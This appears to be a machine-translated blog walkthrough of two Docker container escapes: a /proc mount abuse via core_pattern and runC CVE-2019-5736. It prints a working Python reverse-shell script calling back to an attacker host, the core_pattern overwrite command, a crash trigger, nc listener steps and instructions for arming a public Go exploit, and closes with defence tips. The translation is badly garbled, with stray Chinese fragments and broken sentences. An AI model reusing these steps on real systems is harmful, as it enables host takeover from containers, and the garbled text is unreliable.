Docker избегает CVE-2019-5736, снова появляется уязвимость облачной безопасности procfs, полный текст — 5 тысяч слов, супер подробный анализ!
Docker избегает CVE-2019-5736, снова появляется уязвимость облачной безопасности procfs, полный текст — 5 тысяч слов, супер подробный анализ!

Procfs, монтирующий контейнер Docker, escape

procfsЭто виртуальная файловая система, отображающая состояние системных процессов.,Содержит конфиденциальную информацию. Установите его непосредственно в неконтролируемый контейнер.,В частности, контейнеры по умолчанию имеютrootразрешения и изоляция пользователей не включены,значительно увеличит риски безопасности. поэтому,Нужно обращаться с осторожностью,Убедитесь, что контейнерные среды надежно изолированы.

файл эксплойта/proc/sys/kernel/core_patternэто внутриLinuxв системе,Если процесс дает сбой,Ядро системы будет собирать информацию о сбое процесса.,Передайте информацию о сбое процесса в программу в этом файле.или Скрипт。

Начиная с версии ядра Linux 2.6.19.,/proc/sys/kernel/core_patternКонфигурация приветствует новые расширения。Если первый символ этого файла является символом вертикальной черты'|',Содержимое, следующее за ним, распознается как инструкция, указывающая на программу или сценарий пользовательского пространства.,Система автоматически вызовет и выполнит эти внешние программы или сценарии при создании дампов ядра. Эта функция повышает гибкость и настройку обработки дампа ядра.

Повторение уязвимости

1. Построение среды уязвимости

Создайте контейнер и смонтируйте каталог /proc.

Язык кода:javascript
копировать
docker run -it --rm -v /proc/:/host/ ubuntu

Выполните следующую команду: Если возвращается Procfs, это означает, что procfs в данный момент смонтирован. Если Procfs не смонтирован, это означает, что он не смонтирован.

Язык кода:javascript
копировать
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

эксплуатировать

Язык кода:javascript
копировать
# Установить gcc файл c не может быть выполнен,нуждаться Установить gcc для выполнения файлов c
apt update && apt install -y gcc

Сценарий оболочки восстановления

Язык кода:javascript
копировать
cat > /tmp/.t.py <<EOF
#!/usr/bin/python
import  os
import pty
import socket
lhost = «IP-адрес машины атаки с отскоком оболочки»
lport = 8888
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()
EOF

Предоставить разрешения на выполнение

Язык кода:javascript
копировать
chmod 777 /tmp/.t.py

Программа дампа ядра Linux выполняется через файловую систему хоста.,использовать/etc/mtabсерединаupperdirНайдите точку подключения контейнера。Изменения незафиксированных файлов контейнера,Виден на этом пути хоста.

Язык кода:javascript
копировать
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

Написать оболочку отскока

Язык кода:javascript
копировать
echo -e "|$host_path/tmp/.t.py \rcore" > /host/sys/kernel/core_pattern

Включить прослушиватель на атакующей машине

Язык кода:javascript
копировать
nc -lvvp 8888

Затем запустите в контейнере программу, которая может привести к сбою.

Язык кода:javascript
копировать
cat > /tmp/t.c <<EOF
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}
EOF
# Скомпилируйте программу и запустите ее
cd /tmp
gcc t.c -o t && ./t

Если возникает следующая ситуация и атакующая машина не отвечает, возможно, это связано с тем, что атакующая машина не освободила порт 8888.

Кали выпускает порт 8888,использоватьiptables

Язык кода:javascript
копировать
iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

В это время перезапустите файл c.

Язык кода:javascript
копировать
./t 
# или
gcc t.c -o t && ./t

Атакуйте машину, чтобы получить рикошетный снаряд.

Docker runC escape-CVE-2019-5736

Обзор:

В феврале 2019 года группа поддержки runC обнаружила серьезную уязвимость безопасности CVE-2019-5736, обнаруженную Алексой Сарай, старшим инженером-программистом в SUSE Linux. Эта уязвимость затрагивает широко используемые среды выполнения контейнеров, такие как Docker,Containerd, Podman и CRI-O, создавая серьезную угрозу для ИТ-сред и основных облачных платформ, таких как AWS и Google Cloud. Злоумышленник может использовать эту уязвимость, чтобы выйти из контейнера, получить root-права хоста, а затем управлять всеми контейнерами на хосте.

Принцип уязвимости:

Основная причина уязвимости кроется в runC.,Инструмент с открытым исходным кодом, который служит базовой средой выполнения для контейнеров.,Ранняя разработка в рамках Docker,Потом стал независимым. runC вызывается средами выполнения контейнеров высокого уровня, такими как Docker.,Отвечает за создание контейнеров и управление процессами.。получение Затронутая версиясередина(«До Docker 18.09.2 версия runc была ниже, чем 1.0-rc6»),Злоумышленники могут действовать через определенные образы контейнеров или выполнять,Получить дескриптор файла runC на хосте,Затем внесите изменения в двоичный файл runc. Эта операция позволяет злоумышленнику выполнять произвольные команды на хосте с правами root.,Получите полный контроль.

Затронутая версия

docker version <=「18.09.2」 RunC version <=「1.0-rc6」

Установка среды

Это гонконгский сервер Centos 7.9, машина атаки, облачный сервер Tencent.

❝ Здесь я рекомендую Tencent Cloud Server.,Новые пользователи могут использовать его в течение одного года за 99 юаней.,Поставляется с сервисом ускорения докера.,Обязательно для стрельбища===>https://curl.qcloud.com/T7dJtWo1 ❞

Выполните следующие команды последовательно, чтобы успешно установить docker-18.03.1.

Язык кода:javascript
копировать
sudo yum update -y
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install -y docker-ce-18.03.1.ce
sudo systemctl start docker
sudo systemctl enable docker
docker --version

❝ Советы. Начиная с июня большинство отечественных источников Docker больше не будут доступны.,要么использовать香港илииностранная операционная система,илирекомендовать«Операционная система Дракона Ящерицы»,Даже если он создан локально, он также имеет внешнее сетевое ускорение. ❞

Причина использования версии для докера заключается в том, что образ не может быть извлечен. Вы можете загрузить его локально. Здесь я подготовил образ Ubuntu, который можно использовать непосредственно в докере. [Сетевая безопасность Xiaoyu] Фоновый ответ — [ubuntu]. , пожалуйста, не отвечайте неправильно, ubuntu, ubuntu, ubuntu~

Загрузите его самиubuntu.tarЗагрузите к себецелевой дронначальство,Используйте докер для загрузки локальных изображений

Язык кода:javascript
копировать
docker load -i ubuntu.tar

Запустить пример

Язык кода:javascript
копировать
docker run -d --name my_ubuntu_container ubuntu /bin/bash -c "tail -f /dev/null"

Повторение уязвимости

Шаг 1. Создайте полезную нагрузку

Загрузите CVE-2019-5736 и скомпилируйте сценарий go для создания полезных данных для атаки. (https://github.com/Frichtten/CVE-2019-5736-PoC), измените команду в сценарии go на оболочку восстановления (вложение)

Внесите изменения в этот контент,настраивать「nc」адрес прослушивания。

Скомпилируйте и сгенерируйте полезную нагрузку (требуется среда go,yum install go) , также называемый исполняемым файлом, для системы Linux

Язык кода:javascript
копировать
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

Рекомендуется сделать снимок. Завершение Повторения уязвимостей приведет к тому, что докер станет непригодным для использования.

Шаг 2: Начните атаку

Скопируйте полезную нагрузку в контейнер докеров (это имитирует получение злоумышленником разрешений на доступ к контейнеру докеров и загрузку полезных данных в контейнер для выхода из докера).

Язык кода:javascript
копировать
docker cp main df9370449f96:/home  #копировать
docker exec -it df9370449f96 /bin/bash  #Войдите в контейнер Ubuntu

Выполните полезную нагрузку и подождите, пока жертва запустит докер-контейнер.

Откройте порт 1234, прежде чем атаковать машину и включить прослушивание Swiss Army Knife.

Язык кода:javascript
копировать
[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# systemctl start firewalld
[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# sudo firewall-cmd --zone=public --add-port=1234/tcp --permanent
success

Включить мониторинг

Заставить машину-жертву повторно войти в контейнер。(「bash/sh」запускать)

Когда жертва запускает докер-контейнер, активируется полезная нагрузка и оболочка успешно восстанавливается.

whoami,эксплуатироватьуспех

Подвести итог

В этой статье подробно показан процесс повторения двух уязвимостей безопасности контейнера Docker, а именно атаки на побег через псевдофайловую систему procfs и уязвимости побега runC CVE-2019-5736. Обе атаки используют неправильную изоляцию или недостатки программного обеспечения между контейнером и хостом для достижения незаконного доступа и контроля изнутри контейнера к среде хоста.

procfsпобегатаковать Подвести итог
  1. «Принцип лазеек»:Монтируя хост/procОглавлениев контейнер,Злоумышленник может получить доступ к критическим системным файлам на хост-компьютере и изменить их.,нравиться/proc/sys/kernel/core_pattern,Это позволяет выполнять произвольный код при сбое процесса.
  2. «Шаги к воспроизведению»
    • Создать крепление/procОглавлениеизDockerконтейнер。
    • Установите gcc внутри контейнера и напишите скрипт Python для восстановления оболочки.
    • 修改宿主机начальствоиз/proc/sys/kernel/core_patternдокумент,Укажите Сценарий восстановления внутри контейнера.
    • Создать сбой процесса внутри контейнера,Триггерный механизм дампа ядра,Выполнить сценарий оболочки повреждения, тем самым получив доступ к оболочке хост-машины атакующей машины.
  3. «Совет обороны»
    • 避免将宿主机из敏感Оглавление(нравиться/proc)挂载到контейнерсередина。
    • Контейнеры должны работать в режиме непривилегированного пользователя, ограничивая их доступ к хост-компьютеру.
    • Отслеживайте и проверяйте действия внутри контейнера, чтобы своевременно обнаруживать аномальное поведение.
CVE-2019-5736 runCпобеглазейки Подвести итог
  1. «Принцип лазеек»:получение影响изDockerиrunC版本середина,атаковать者可以通过特定контейнер镜像或execдействовать Получить дескриптор файла runC на хосте,Затем внесите изменения в двоичный файл runc.,Добейтесь выполнения произвольных команд с правами root.
  2. «Шаги к воспроизведению»
    • Установите и запустите уязвимый контейнер в уязвимой среде Docker.
    • Скомпилируйте и подготовьте полезную нагрузку (исполняемый файл, написанный на языке Go) для эксплуатации.
    • Скопируйте полезную нагрузку в контейнер и выполните ее, ожидая, пока активность Docker на хосте активирует полезную нагрузку.
    • Прослушивайте определенный порт на атакующей машине и успешно получайте ответную оболочку, когда активность Docker на машине-жертве запускает полезную нагрузку.
  3. «Совет обороны»
    • Своевременно обновляйте Docker и runC до последних версий, чтобы не использовать старые версии с известными уязвимостями.
    • Внедрите принцип наименьших привилегий, чтобы ограничить разрешения на запуск процессов внутри контейнера.
    • Используйте инструменты сканирования безопасности контейнеров, чтобы регулярно обнаруживать потенциальные уязвимости в образах контейнеров и средах выполнения.
    • Внедрите строгий контроль доступа и изоляцию на хостах и ​​контейнерах, чтобы уменьшить потенциальные возможности атак.

Воспроизведя эту статью, мы можем глубоко понять важность безопасности контейнеров и необходимость своевременного обновления и поддержки версий программного обеспечения. С широким применением контейнерных технологий обеспечение безопасности контейнерной среды станет важной задачей для ИТ-операций и групп безопасности.

Оригинальная ссылка:

https://mp.weixin.qq.com/s/z6lvfHo3_S6Qtl67gJPTtA

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose